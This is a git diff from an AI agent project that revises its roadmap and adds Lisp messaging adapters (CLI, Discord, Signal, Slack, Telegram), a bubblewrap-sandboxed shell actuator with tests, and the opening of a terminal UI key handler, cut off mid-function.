diff --git a/docs/ROADMAP.org b/docs/ROADMAP.org index b46fde4..1b7ea5c 100644 --- a/docs/ROADMAP.org +++ b/docs/ROADMAP.org @@ -34,29 +34,26 @@ On release: 2. Extract DONE items from ROADMAP (all items with LOGBOOK timestamps since the last release tag) and use as the release notes body 3. If a ~CHANGELOG.md~ is needed for packaging tools, auto-generate it from ROADMAP DONE items -** DONE v0.8.0: Information Radiator (Foundation) +** v0.8.0: TUI Stabilization — cl-tty Migration + Information Radiator -Sidebar (6 panels), sidebar overlay mode (<120 cols), command palette (Ctrl+P), TrueColor theme (8 presets), unified minibuffer panel with slash-command context menu and sub-mode navigation (wizard, settings, help) — all built on ~cl-tty~ v1.1.0. +The croatoan TUI is replaced entirely by ~cl-tty~ v1.1.0. In progress across +multiple branches: the main branch does XDG-based tangling +(~/.local/share/passepartout/lisp/), the ~refactor/cl-tty-tui~ branch keeps +lisp files in the repo (~lisp/~). Both converge on the same goal — a stable, +feature-complete TUI with sidebar, command palette, warm palette, TrueColor +themes, and robust terminal handling. -The croatoan TUI is replaced entirely. cl-tty provides the widget set (box, text, scrollbox, select, markdown, dialog), keybinding system, and theme engine. Passepartout's job is wiring — cl-tty components call the daemon's TCP API and render its response structures. - -*** DONE Minibuffer — cl-tty dialog stack +*** Minibuffer — cl-tty dialog stack :PROPERTIES: :ID: id-v080-minibuffer :CREATED: [2026-05-10 Sat] :END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-13 Wed] -:END: -*** DONE Conversation view — cl-tty ScrollBox + Markdown +*** Conversation view — cl-tty ScrollBox + Markdown :PROPERTIES: :ID: id-v080-conversation :CREATED: [2026-05-13 Wed] :END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-13 Wed] -:END: - ~ScrollBox~ with ~sticky-scroll~ (auto-follows new content, respects manual scroll-up) - User messages rendered as ~Box~ (role-colored left border) @@ -66,14 +63,11 @@ The croatoan TUI is replaced entirely. cl-tty provides the widget set (box, text ~150 lines. -*** DONE Command palette — cl-tty Select +*** Command palette — cl-tty Select :PROPERTIES: :ID: id-v080-palette :CREATED: [2026-05-13 Wed] :END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-13 Wed] -:END: - Ctrl+P opens a ~select-dialog~ with all daemon commands - Fuzzy-filtered with categories (session, memory, system, help) @@ -81,14 +75,11 @@ The croatoan TUI is replaced entirely. cl-tty provides the widget set (box, text ~40 lines. -*** DONE Sidebar — cl-tty slot system +*** Sidebar — cl-tty slot system :PROPERTIES: :ID: id-v080-sidebar :CREATED: [2026-05-13 Wed] :END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-13 Wed] -:END: - 6 panels as cl-tty ~slot~ registrations (gate trace, focus, rules, context, cost, files) - Toggle with Ctrl+B or auto-hide on narrow terminals (<120 cols) @@ -96,14 +87,11 @@ The croatoan TUI is replaced entirely. cl-tty provides the widget set (box, text ~80 lines. -*** DONE Status bar — cl-tty Box + Theme +*** Status bar — cl-tty Box + Theme :PROPERTIES: :ID: id-v080-statusbar :CREATED: [2026-05-13 Wed] :END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-13 Wed] -:END: - Bottom-most line: directory, LSP status (green dot), MCP count, ~/status~ hint - Degraded-mode signaling (amber when ~*degraded-components*~ non-nil) @@ -111,7 +99,7 @@ The croatoan TUI is replaced entirely. cl-tty provides the widget set (box, text ~30 lines. -*** DONE Keybinding layer — cl-tty keymap +*** Keybinding layer — cl-tty keymap :PROPERTIES: :ID: id-v080-keybindings :CREATED: [2026-05-13 Wed] @@ -123,121 +111,19 @@ The croatoan TUI is replaced entirely. cl-tty provides the widget set (box, text ~40 lines. -~420 lines total. +*** Warm palette + three-zone layout (formerly v0.9.0) -** DONE v0.9.0: Warm TUI Redesign — Blank Slate -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-13 Wed] -:END: +The v0.8.0 TUI had correct internal wiring but was unusable — input at the top +instead of the bottom, layout bugs where chat overwrote the status bar, and +Ctrl-key shortcuts silently failed. This work restructures the TUI into a clean +three-zone design with a warm amber/gold color palette. 18 theme tokens, 8 warm +presets. All integrated into the ongoing v0.8.0 TUI stabilization. -The v0.8.0 TUI has correct internal wiring but is unusable — input at the top -instead of the bottom, layout bugs where chat overwrites the status bar, and -Ctrl-key shortcuts silently fail. This version strips the TUI down to a clean -three-zone design with a warm amber/gold color palette inspired by OpenCode and -Gemini CLI. Everything in view/state/main is rewritten; only the daemon protocol -survives. +*** TUI hardening (formerly v0.10.x) -*** Visual Mockup - -#+begin_example -┌──────────────────────────────────────────────────────────────────┐ -│ │ -│ ┌─ you ─────────────────────────────────────────────────┐ │ -│ │ Can you refactor the dispatcher pipeline? │ │ -│ └───────────────────────────────────────────────────────┘ │ -│ │ -│ ── passepartout ────────────────────────────────────────────── │ -│ Sure. The issue is in run-gates — it calls predicates │ -│ before checking type levels. Let me fix that. │ -│ │ -│ ┌─ shell: run tests ──── 0.3s ─────────────────────────┐ │ -│ │ ✓ all 12 tests pass │ │ -│ └──────────────────────────────────────────────────────┘ │ -│ │ -│ ────────────────────────────────────────────────────────────── │ -│ │ -│ > /focus stoa │ -│ Ctrl+P palette │ Up/Dn history │ Tab complete │ -├──────────────────────────────────────────────────────────────────┤ -│ ● Connected stoa Rules:12 Cost:$0.42 14:30 │ -└──────────────────────────────────────────────────────────────────┘ -#+end_example - -*** Three Zones - -**** Zone 3 (bottom-most, 1 line): Status Bar (tmux-style) - -Warm dark background (~#2A1F1A~), amber foreground (~#D4A574~). Always visible. -Left: ● Connected, project/focus name, rule count. Right: Session cost, clock. -No borders — background color alone defines the zone. - -~30 lines. - -**** Zone 2 (just above status, 2 lines): Input Area - -Line 1 — ~>~ prompt (warm orange ~#FF8C42~), cursor visible. Readline keybindings -(Ctrl+A/E/U/W/K/Y), Up/Down history, Tab complete, Alt+Enter multi-line. -Line 2 — Context-sensitive hint bar (dim amber ~#A08060~): - Normal: Ctrl+P palette | Up/Dn history | Tab complete - Search: Up/Dn navigate | Enter jump | Esc exit - Dialog: Up/Dn select | Enter confirm | Esc dismiss -Slash commands appear as top-centered overlay dialogs. - -~60 lines. - -**** Zone 1 (scrollable, fills remaining space): Chat Area - -User messages: boxed ~┌─ you ─┐~ / ~└─┘~ (bg #3A2A1A, fg #FFB347) -Agent messages: ~-- passepartout --~ header (fg #D4956A), body (fg #E8D5B7) -System: plain text (fg #C8A87C) -Tool calls: collapsible ~┌─ name -- 0.3s --┐~ (running #FF8C42, done #7CCC6C) -Gate traces: ~╎~ indented lines (pass green, block red, approval yellow) -Date separators between time blocks. Streaming inserts char by char. - -~120 lines. - -*** Warm Color Palette (18 keys, 8 presets) - -| Token | Hex | Role | -|-------+-----+------| -| :user-fg | #FFB347 | User message text | -| :user-bg | #3A2A1A | User message background | -| :user-border | #CC8800 | User message box border | -| :agent-header | #D4956A | Agent message header | -| :agent-fg | #E8D5B7 | Agent message body | -| :system | #C8A87C | System notifications | -| :input-prompt | #FF8C42 | > prompt character | -| :input-fg | #E8D5B7 | Input text | -| :hint | #A08060 | Hint bar text | -| :status-bg | #2A1F1A | Status bar background | -| :status-fg | #D4A574 | Status bar text | -| :dot-connected | #7CCC6C | Status dot when connected | -| :dot-disconnected | #E2584A | Status dot when disconnected | -| :error | #E2584A | Error messages | -| :tool-running | #FF8C42 | In-progress tool | -| :tool-done | #7CCC6C | Completed tool | -| :separator | #4A3A2A | Horizontal rules | -| :accent | #FFB347 | Links, highlights | -| :dim | #8B7355 | Metadata, timestamps | - -8 presets: amber, gold, terracotta, sepia, nord-warm, monokai-warm, -gruvbox-warm, light-amber. - -~80 lines. - -*** Build Plan (590 lines total) - -| # | Task | Lines | Files | -|---+------+-------+-------| -| 1 | Layout restructure (+status bar) | 100| view.org, main.org | -| 2 | Warm palette | 80 | state.org | -| 3 | Input area (readline keybindings) | 60 | main.org | -| 4 | Chat messages (boxes, headers, tools) | 120 | view.org | -| 5 | Command palette | 50 | main.org, state.org | -| 6 | Sidebar | 60 | view.org, main.org | -| 7 | Keybindings (all Ctrl in :global) | 50 | main.org | -| 8 | Search | 40 | main.org, view.org | -| 9 | Help overlay | 30 | main.org | +Terminal cursor fixes, input handling, flicker elimination, CSI escape detection, +multi-line input, dark-neutral theme variant, cl-tty style-reset. Incremental +stabilization of the cl-tty TUI runtime. *** Keybinding Reference @@ -257,6 +143,24 @@ gruvbox-warm, light-amber. | Ctrl+Q | Quit | | ? | Help panel | +** v0.9.0: Eval Harness — Safety Net First + +Every subsequent release ships with automated regression protection. The eval harness is the gate that makes self-modification safe — before any neurosymbolic component modifies the system, the harness verifies nothing broke. + +*** TODO Internal evaluation harness — 10 tasks, regression detection +:PROPERTIES: +:ID: id-v090-eval-harness +:CREATED: [2026-05-08 Fri] +:END: + +- New skill: ~symbolic-evaluation.org~ → ~symbolic-evaluation.lisp~ +- ~deftask~ macro: define an eval task with ~:setup~ (create test environment), ~:prompt~ (what to ask the agent), ~:verify~ (function that checks the output), ~:teardown~ (cleanup) +- ~run-eval-suite~: run all registered tasks, produce score (pass count / total), per-task diagnostics +- Initial 10 tasks: find TODOs, create Org note, search codebase, read file, query memory, list projects, run safe shell command, find definition, set TODO state, summarize session +- Regression mode: run after each version build. Fail CI if score drops. +- Task suite grows with codebase: every bug fix adds a regression task +~200 lines. + ** v0.10.0: Emacs Development Environment — Secondary Client cl-tty is the primary TUI (v0.8.0). The Emacs major mode is an optional secondary client for users who prefer Emacs-based workflows. Both clients communicate with the same daemon over the same TCP protocol — they are interchangeable frontends, not competing architectures. diff --git a/lisp/channel-cli.lisp b/lisp/channel-cli.lisp new file mode 100644 index 0000000..1346b27 --- /dev/null +++ b/lisp/channel-cli.lisp @@ -0,0 +1,35 @@ +(in-package :passepartout) + +(defun channel-cli-input (text) + "Processes raw text from the command line." + (stimulus-inject (list :type :EVENT + :payload (list :sensor :user-input :text text) + :meta (list :source :CLI)))) + +(defskill :passepartout-channel-cli + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI)) + :deterministic (lambda (action ctx) (declare (ignore ctx)) action)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-channel-cli-tests + (:use :cl :passepartout) + (:export #:cli-suite)) + +(in-package :passepartout-channel-cli-tests) + +(fiveam:def-suite cli-suite :description "Verification of the CLI Gateway") +(fiveam:in-suite cli-suite) + +(fiveam:test test-channel-cli-input-format + "Contract 1: channel-cli-input injects a properly formed signal without error." + (handler-case + (progn (channel-cli-input "hello") (fiveam:pass)) + (error (c) + (fiveam:fail "channel-cli-input crashed: ~a" c)))) + +(handler-case + (progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK")) + (error (c) (log-message "CLI: Load-time test FAILED: ~a" c))) diff --git a/lisp/channel-discord.lisp b/lisp/channel-discord.lisp new file mode 100644 index 0000000..6e54b20 --- /dev/null +++ b/lisp/channel-discord.lisp @@ -0,0 +1,50 @@ +(in-package :passepartout) +(defun discord-get-token () + (vault-get-secret :discord)) + +(defun discord-send (action context) + "Sends a message via Discord REST API." + (declare (ignore context)) + (let* ((payload (getf action :payload)) + (meta (getf action :meta)) + (channel-id (or (getf meta :channel-id) (getf payload :chat-id))) + (text (or (getf payload :text) (getf action :text))) + (token (discord-get-token))) + (when (and token channel-id text) + (handler-case + (dex:post (format nil "https://discord.com/api/v10/channels/~a/messages" channel-id) + :headers '(("Authorization" . ,(format nil "Bot ~a" token)) + ("Content-Type" . "application/json")) + :content (cl-json:encode-json-to-string + `((content . ,text)))) + (error (c) (log-message "DISCORD ERROR: ~a" c)))))) + +(defun discord-poll () + "Polls Discord via HTTP GET /channels/{id}/messages. In production, +a WebSocket connection to the Gateway is preferred for real-time events." + (let* ((token (discord-get-token))) + (when token + (handler-case + (dolist (channel '("channel-id-here")) ;; configured channel IDs + (let* ((last-id (getf (gethash "discord" *gateway-configs*) :last-update-id 0)) + (url (format nil "https://discord.com/api/v10/channels/~a/messages?after=~a" + channel last-id)) + (response (dex:get url :headers + `(("Authorization" . ,(format nil "Bot ~a" token)))))) + (let ((messages (ignore-errors + (cdr (assoc :message + (cl-json:decode-json-from-string response)))))) + (dolist (msg (and (listp messages) messages)) + (let* ((id (cdr (assoc :id msg))) + (content (cdr (assoc :content msg))) + (author (cdr (assoc :author msg))) + (author-id (cdr (assoc :id author))) + (is-bot (cdr (assoc :bot author)))) + (when (and id content (not is-bot)) + (setf (getf (gethash "discord" *gateway-configs*) :last-update-id) id) + (unless (ignore-errors (hitl-handle-message content :discord)) + (stimulus-inject + (list :type :EVENT + :meta (list :source :discord :chat-id channel) + :payload (list :sensor :user-input :text content)))))))))) + (error (c) (log-message "DISCORD POLL ERROR: ~a" c)))))) diff --git a/lisp/channel-shell.lisp b/lisp/channel-shell.lisp new file mode 100644 index 0000000..d0cfd86 --- /dev/null +++ b/lisp/channel-shell.lisp @@ -0,0 +1,95 @@ +(in-package :passepartout) + +(defvar *bwrap-available* nil + "Set to T at load time if the bwrap binary is found in PATH.") + +(defvar *bwrap-base-args* + '("--ro-bind" "/usr" "/usr" + "--ro-bind" "/lib" "/lib" + "--ro-bind" "/bin" "/bin" + "--ro-bind" "/etc" "/etc" + "--bind" "/tmp" "/tmp" + "--unshare-net" + "--unshare-ipc") + "Base bwrap arguments for the sandbox. --bind ~/memex ~/memex is added dynamically.") + +(defun bwrap-available-p () + "Returns T if bwrap (bubblewrap) is installed and usable." + *bwrap-available*) + +(defun bwrap-wrap-command (cmd timeout memex-dir) + "Wrap CMD in a bwrap sandbox with network and IPC isolation. +Returns a list suitable for uiop:run-program." + `("bwrap" + ,@*bwrap-base-args* + "--bind" ,memex-dir ,memex-dir + "timeout" ,(format nil "~a" timeout) + "bash" "-c" ,cmd)) + +;; Initialize at load time +(setf *bwrap-available* + (= 0 (nth-value 2 (uiop:run-program '("which" "bwrap") :output nil :error-output nil :ignore-error-status t)))) + +(defun actuator-shell-execute (action context) + "Executes a shell command via the OS timeout binary with output limit. +When bwrap is available, wraps the command in a Linux namespace sandbox." + (declare (ignore context)) + (let* ((payload (getf action :payload)) + (cmd (getf payload :cmd)) + (timeout-sym (find-symbol "*DISPATCHER-SHELL-TIMEOUT*" :passepartout)) + (timeout (or (getf payload :timeout) (if timeout-sym (symbol-value timeout-sym) 30))) + (max-sym (find-symbol "*DISPATCHER-SHELL-MAX-OUTPUT*" :passepartout)) + (max-output (or (getf payload :max-output) (if max-sym (symbol-value max-sym) 100000))) + (memex-dir (or (uiop:getenv "MEMEX_DIR") (namestring (merge-pathnames "memex/" (user-homedir-pathname)))))) + (log-message "ACT [Shell]: ~a (timeout: ~as)~@[ bwrap: enabled~]" cmd timeout (and *bwrap-available* " (bwrap)")) + (let ((cmdline (if *bwrap-available* + (bwrap-wrap-command cmd timeout memex-dir) + (list "timeout" (format nil "~a" timeout) "bash" "-c" cmd)))) + (multiple-value-bind (out err code) + (uiop:run-program cmdline + :output :string :error-output :string + :ignore-error-status t) + (cond + ((= code 124) (format nil "ERROR: Command timed out after ~a seconds" timeout)) + ((> (length out) max-output) + (format nil "~a~%... (output truncated to ~a chars)" (subseq out 0 max-output) max-output)) + ((= code 0) out) + (t (format nil "ERROR [~a]: ~a" code err))))))) + +(register-actuator :shell #'actuator-shell-execute) + +(defskill :passepartout-channel-shell + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-shell-actuator-tests + (:use :cl :fiveam :passepartout) + (:export #:shell-actuator-suite)) + +(in-package :passepartout-shell-actuator-tests) + +(def-suite shell-actuator-suite :description "Verification of the Shell Actuator") +(in-suite shell-actuator-suite) + +(test test-bwrap-wrap-command + "Contract 2: bwrap-wrap-command returns properly formatted command list." + (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex"))) + (is (member "bwrap" cmdline :test #'string=)) + (is (member "--unshare-net" cmdline :test #'string=)) + (is (member "--unshare-ipc" cmdline :test #'string=)) + (is (member "echo hello" cmdline :test #'string=)))) + +(test test-bwrap-available-p-returns-boolean + "Contract 1: bwrap-available-p returns T or NIL." + (let ((avail (passepartout::bwrap-available-p))) + (is (typep avail 'boolean)))) + +(test test-actuator-shell-execute-echo + "Contract 3: actuator-shell-execute runs echo and returns output." + (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello"))) + (result (passepartout::actuator-shell-execute action nil))) + (is (stringp result)) + (is (search "hello" result :test #'char-equal)))) diff --git a/lisp/channel-signal.lisp b/lisp/channel-signal.lisp new file mode 100644 index 0000000..a1e7fd9 --- /dev/null +++ b/lisp/channel-signal.lisp @@ -0,0 +1,41 @@ +(in-package :passepartout) +(defun signal-get-account () + (vault-get-secret :signal)) + +(defun signal-poll () + "Polls Signal for new messages and injects them into the harness." + (let ((account (signal-get-account))) + (when account + (handler-case + (let* ((output (uiop:run-program (list "signal-cli" "-u" account "receive" "--json") + :output :string :error-output :string :ignore-error-status t)) + (lines (cl-ppcre:split "\\\\n" output))) + (dolist (line lines) + (when (and line (> (length line) 0)) + (let* ((json (ignore-errors (cl-json:decode-json-from-string line))) + (envelope (cdr (assoc :envelope json))) + (source (cdr (assoc :source envelope))) + (data-message (cdr (assoc :data-message envelope))) + (text (cdr (assoc :message data-message)))) + (when (and source text) + (log-message "SIGNAL: Received message from ~a" source) + (unless (ignore-errors (hitl-handle-message text :signal)) + (stimulus-inject + (list :type :EVENT + :meta (list :source :signal :chat-id source) + :payload (list :sensor :user-input :text text))))))))) + (error (c) (log-message "SIGNAL POLL ERROR: ~a" c)))))) + +(defun signal-send (action context) + "Sends a message via Signal." + (declare (ignore context)) + (let* ((payload (getf action :payload)) + (meta (getf action :meta)) + (chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id))) + (text (or (getf payload :text) (getf action :text))) + (account (signal-get-account))) + (when (and account chat-id text) + (handler-case + (uiop:run-program (list "signal-cli" "-u" account "send" "-m" text chat-id) + :output :string :error-output :string) + (error (c) (log-message "SIGNAL ERROR: ~a" c)))))) diff --git a/lisp/channel-slack.lisp b/lisp/channel-slack.lisp new file mode 100644 index 0000000..0f5bbd9 --- /dev/null +++ b/lisp/channel-slack.lisp @@ -0,0 +1,45 @@ +(in-package :passepartout) +(defun slack-get-token () + (vault-get-secret :slack)) + +(defun slack-send (action context) + "Sends a message via Slack Web API." + (declare (ignore context)) + (let* ((payload (getf action :payload)) + (meta (getf action :meta)) + (channel (or (getf meta :channel-id) (getf payload :chat-id))) + (text (or (getf payload :text) (getf action :text))) + (token (slack-get-token))) + (when (and token channel text) + (handler-case + (dex:post "https://slack.com/api/chat.postMessage" + :headers `(("Authorization" . ,(format nil "Bearer ~a" token)) + ("Content-Type" . "application/json; charset=utf-8")) + :content (cl-json:encode-json-to-string + `((channel . ,channel) (text . ,text)))) + (error (c) (log-message "SLACK ERROR: ~a" c)))))) + +(defun slack-poll () + "Polls Slack for new messages via conversations.history." + (let* ((token (slack-get-token))) + (when token + (dolist (channel '("general")) ;; configured channel IDs + (handler-case + (let* ((url (format nil "https://slack.com/api/conversations.history?channel=~a&limit=5" channel)) + (response (dex:get url :headers + `(("Authorization" . ,(format nil "Bearer ~a" token)))))) + (let* ((json (ignore-errors (cl-json:decode-json-from-string response))) + (ok (cdr (assoc :ok json))) + (messages (cdr (assoc :messages json)))) + (when (and ok messages (listp messages)) + (dolist (msg messages) + (let* ((text (cdr (assoc :text msg))) + (user (cdr (assoc :user msg))) + (ts (cdr (assoc :ts msg)))) + (when (and text user (not (string= user "USLACKBOT"))) + (unless (ignore-errors (hitl-handle-message text :slack)) + (stimulus-inject + (list :type :EVENT + :meta (list :source :slack :chat-id channel) + :payload (list :sensor :user-input :text text)))))))))) + (error (c) (log-message "SLACK POLL ERROR: ~a" c))))))) diff --git a/lisp/channel-telegram.lisp b/lisp/channel-telegram.lisp new file mode 100644 index 0000000..01b806b --- /dev/null +++ b/lisp/channel-telegram.lisp @@ -0,0 +1,47 @@ +(in-package :passepartout) +(defun telegram-get-token () + (vault-get-secret :telegram)) + +(defun telegram-poll () + "Polls Telegram for new messages and injects them into the harness." + (let* ((token (telegram-get-token))) + (when token + (let* ((last-id (getf (gethash "telegram" *gateway-configs*) :last-update-id 0)) + (url (format nil "https://api.telegram.org/bot~a/getUpdates?offset=~a" + token (1+ last-id)))) + (handler-case + (let* ((response (dex:get url)) + (json (cl-json:decode-json-from-string response)) + (updates (cdr (assoc :result json)))) + (dolist (update updates) + (let* ((update-id (cdr (assoc :update--id update))) + (message (cdr (assoc :message update))) + (chat (cdr (assoc :chat message))) + (chat-id (cdr (assoc :id chat))) + (text (cdr (assoc :text message)))) + (setf (getf (gethash "telegram" *gateway-configs*) :last-update-id) update-id) + (when (and text chat-id) + (log-message "TELEGRAM: Received message from ~a" chat-id) + (unless (ignore-errors (hitl-handle-message text :telegram)) + (stimulus-inject + (list :type :EVENT + :meta (list :source :telegram :chat-id (format nil "~a" chat-id)) + :payload (list :sensor :user-input :text text)))))))) + (error (c) (log-message "TELEGRAM POLL ERROR: ~a" c))))))) + +(defun telegram-send (action context) + "Sends a message via Telegram." + (declare (ignore context)) + (let* ((payload (getf action :payload)) + (meta (getf action :meta)) + (chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id))) + (text (or (getf payload :text) (getf action :text))) + (token (telegram-get-token))) + (when (and token chat-id text) + (handler-case + (let ((url (format nil "https://api.telegram.org/bot~a/sendMessage" token))) + (dex:post url + :headers '(("Content-Type" . "application/json")) + :content (cl-json:encode-json-to-string + `((chat_id . ,chat-id) (text . ,text))))) + (error (c) (log-message "TELEGRAM ERROR: ~a" c)))))) diff --git a/lisp/channel-tui-main.lisp b/lisp/channel-tui-main.lisp new file mode 100644 index 0000000..e8b3c6e --- /dev/null +++ b/lisp/channel-tui-main.lisp @@ -0,0 +1,1540 @@ +(in-package :passepartout.channel-tui) + +(defun on-key (ch) + (cond + ;; v0.7.1: Esc — interrupt streaming + ((and (or (eq ch :escape) (eql ch 27)) (st :streaming-text)) + (send-daemon (list :type :event :payload '(:action :cancel-stream))) + (when (> (length (st :messages)) 0) + (let ((idx (1- (length (st :messages))))) + (setf (getf (aref (st :messages) idx) :content) + (concatenate 'string + (getf (aref (st :messages) idx) :content) + " [interrupted]")) + (setf (getf (aref (st :messages) idx) :streaming) nil) + (setf (getf (aref (st :messages) idx) :time) (now)))) + (setf (st :streaming-text) nil) + (setf (st :busy) nil) + (setf (st :dirty) (list t t nil))) + ;; v0.7.2: Esc — exit search mode + ((and (eql ch 27) (st :search-mode)) + (setf (st :search-mode) nil + (st :search-matches) nil + (st :search-query) "") + (setf (st :dirty) (list nil t nil)) + (add-msg :system "Search exited")) + ;; v0.7.2: search mode — Up/Down navigate matches + ((and (st :search-mode) (or (eql ch 259) (eq ch :up))) + (let* ((matches (st :search-matches)) + (idx (st :search-match-idx)) + (new-idx (max 0 (1- idx)))) + (setf (st :search-match-idx) new-idx) + (when matches + (setf (st :scroll-offset) (nth new-idx matches)) + (add-msg :system (format nil "Match ~d/~d" (1+ new-idx) (length matches))) + (setf (st :dirty) (list nil t nil))))) + ((and (st :search-mode) (or (eql ch 258) (eq ch :down))) + (let* ((matches (st :search-matches)) + (idx (st :search-match-idx)) + (new-idx (min (1- (length matches)) (1+ idx)))) + (setf (st :search-match-idx) new-idx) + (when matches + (setf (st :scroll-offset) (nth new-idx matches)) + (add-msg :system (format nil "Match ~d/~d" (1+ new-idx) (length matches))) + (setf (st :dirty) (list nil t nil))))) + ;; v0.7.2: search mode — Enter jumps to current match + ((and (st :search-mode) (or (eql ch 13) (eql ch 10) (eq ch :enter))) + (let ((matches (st :search-matches)) + (idx (st :search-match-idx))) + (when (and matches (>= (length matches) (1+ idx))) + (setf (st :scroll-offset) (nth idx matches)) + (setf (st :search-mode) nil + (st :search-matches) nil + (st :search-query) "") + (add-msg :system (format nil "Jumped to match ~d" (1+ idx))) + (setf (st :dirty) (list nil t nil))))) + ;; v0.7.1: Tab on empty input — extract then open URL from agent message + ((and (or (eql ch 9) (eq ch :tab)) + (null (st :input-buffer))) + (if (st :url-buffer) + ;; Already extracted — now open it + (progn + (add-msg :system (format nil "Opening ~a" (st :url-buffer))) + (setf (st :url-buffer) nil)) + ;; Extract URL from last agent message + (let ((url nil)) + (loop for i from (1- (length (st :messages))) downto 0 + for msg = (aref (st :messages) i) + for content = (getf msg :content) + for role = (getf msg :role) + while (eq role :agent) + when content + do (let ((pos (or (search "https://" content) (search "http://" content)))) + (when pos + (let ((end (or (position-if (lambda (c) (find c (list #\Space #\Newline #\Tab (code-char 41)))) + content :start pos) + (length content)))) + (setf url (subseq content pos end)) + (return))))) + (if url + (progn + (setf (st :url-buffer) url) + (add-msg :system (format nil "Press Tab to open ~a" url)) + (setf (st :dirty) (list t t nil))) + nil)))) + ;; Enter + ((or (eq ch :enter) (eql ch 13) (eql ch 10) (eql ch 343) + (eql ch #\Newline) (eql ch #\Return)) + ;; Multi-line: if buffer ends with \, strip it and insert newline + (if (and (st :input-buffer) (eql (first (st :input-buffer)) #\\)) + (progn (pop (st :input-buffer)) + (push #\Newline (st :input-buffer)) + (setf (st :dirty) (list nil nil t))) + (let ((text (string-trim '(#\Space #\Tab) (input-string)))) + (when (> (length text) 0) + (push text (st :input-history)) + (setf (st :input-hpos) 0) + (setf (st :scroll-offset) 0) + (cond + ;; v0.7.2: undo/redo + ((string-equal text "/undo") + (send-daemon (list :type :event :payload (list :sensor :undo))) + (add-msg :system "Undo: restoring memory to previous state")) + ((string-equal text "/redo") + (send-daemon (list :type :event :payload (list :sensor :redo))) + (add-msg :system "Redo: restoring memory")) + ;; /help command + ((and (>= (length text) 9) + (string-equal (subseq text 0 9) "/approve ")) + (let ((token (string-trim '(#\Space) (subseq text 9)))) + (send-daemon (list :type :event :payload + (list :action :hitl-respond :token token :decision :approved))) + (add-msg :system (format nil "✓ Approved: ~a" token)) + (resolve-hitl-panel :approved))) + ((and (>= (length text) 6) + (string-equal (subseq text 0 6) "/deny ")) + (let ((token (string-trim '(#\Space) (subseq text 6)))) + (send-daemon (list :type :event :payload + (list :action :hitl-respond :token token :decision :denied))) + (add-msg :system (format nil "✗ Denied: ~a" token)) + (resolve-hitl-panel :denied))) + ;; /help command + ;; /why command — show last gate trace + ((string-equal text "/why") + (let ((msgs (st :messages)) + (found nil)) + (loop for i from (1- (length msgs)) downto 0 + for m = (aref msgs i) + for gt = (getf m :gate-trace) + when (and gt (listp gt) (> (length gt) 0)) + do (setf found t) + (dolist (entry gt) + (let* ((gate (getf entry :gate)) + (result (getf entry :result)) + (reason (getf entry :reason)) + (msg (format nil "~a ~a~@[ — ~a~]" + (case result (:passed "[PASS]") (:blocked "[BLOCKED]") (:approval "[HITL]")) + (or gate "unknown") + reason))) + (add-msg :system msg))) + (loop-finish)) + (unless found + (add-msg :system "No recent gate trace. Run a tool to see gate decisions.")))) + ;; /identity command — edit and reload identity file + ((string-equal text "/identity") + (let* ((editor (or (uiop:getenv "EDITOR") "emacs")) + (path (merge-pathnames "memex/IDENTITY.org" (user-homedir-pathname)))) + (add-msg :system (format nil "Opening ~a in ~a..." (namestring path) editor)) + (uiop:run-program (list editor (namestring path)) :output t :error-output t) + (when (fboundp 'load-identity-file) + (funcall 'load-identity-file)) + (add-msg :system "Identity reloaded"))) + ;; /audit command — Merkle provenance + ((and (>= (length text) 7) (string-equal (subseq text 0 7) "/audit ")) + (if (fboundp 'audit-node) + (let* ((node-id (string-trim '(#\Space) (subseq text 7))) + (info (funcall 'audit-node node-id))) + (if info + (add-msg :system (format nil "Node ~a: type=~a scope=~a hash=~a" + (getf info :id) (getf info :type) + (getf info :scope) + (subseq (or (getf info :hash) "(none)") 0 16))) + (add-msg :system (format nil "Node ~a not found" node-id)))) + (add-msg :system "Memory audit not available"))) + ;; /tags command — tag stack with trigger counts + ((string-equal text "/tags") + (let ((cats passepartout::*tag-categories*) + (counts passepartout::*tag-trigger-count*)) + (if cats + (dolist (entry cats) + (let* ((tag (car entry)) + (sev (cdr entry)) + (n (gethash (string-downcase tag) counts 0))) + (add-msg :system (format nil "~a: ~a (~d trigger~:p this session)" tag sev n)))) + (add-msg :system "No tags configured. Set TAG_CATEGORIES env var.")))) + ;; /context command — section breakdown with token estimates + ((string-equal text "/context") + (let* ((msg-count (length (st :messages))) + (id-tokens (min 200 (floor (+ 150 (length (or (st :focus-scope) ""))) 4))) + (tool-tokens (if (boundp 'passepartout::*cognitive-tool-registry*) + (floor (* (hash-table-count passepartout::*cognitive-tool-registry*) 40) 4) + 50)) + (log-tokens (min 4000 (floor (* msg-count 60) 4))) + ;; rough estimate: TIME, CONTEXT overhead + (overhead-tokens 200) + (total-est (+ id-tokens tool-tokens log-tokens overhead-tokens)) + (total-limit 8192) + (pct-used (floor (* 100 total-est) total-limit)) + (bar (make-string (min 10 (max 1 (floor (/ (min total-est total-limit) total-limit) 10))) + :initial-element #\#))) + (add-msg :system (format nil "╔══ Context Budget ~a/~a tokens (~d%) ══╗" total-est total-limit pct-used)) + (add-msg :system (format nil "IDENTITY ~5d tokens" id-tokens)) + (add-msg :system (format nil "TOOLS ~5d tokens" tool-tokens)) + (add-msg :system (format nil "TIME+CONFIG ~5d tokens" overhead-tokens)) + (add-msg :system (format nil "LOGS ~5d tokens (~d msgs)" log-tokens msg-count)) + (add-msg :system (format nil " [~a~a] ~d%" + bar (make-string (- 10 (length bar)) :initial-element #\Space) pct-used)) + (when (> pct-used 80) + (add-msg :system "⚠ Context near limit — older messages may be dropped")))) + ;; /context why — debug node with full attributes + ((and (>= (length text) 13) 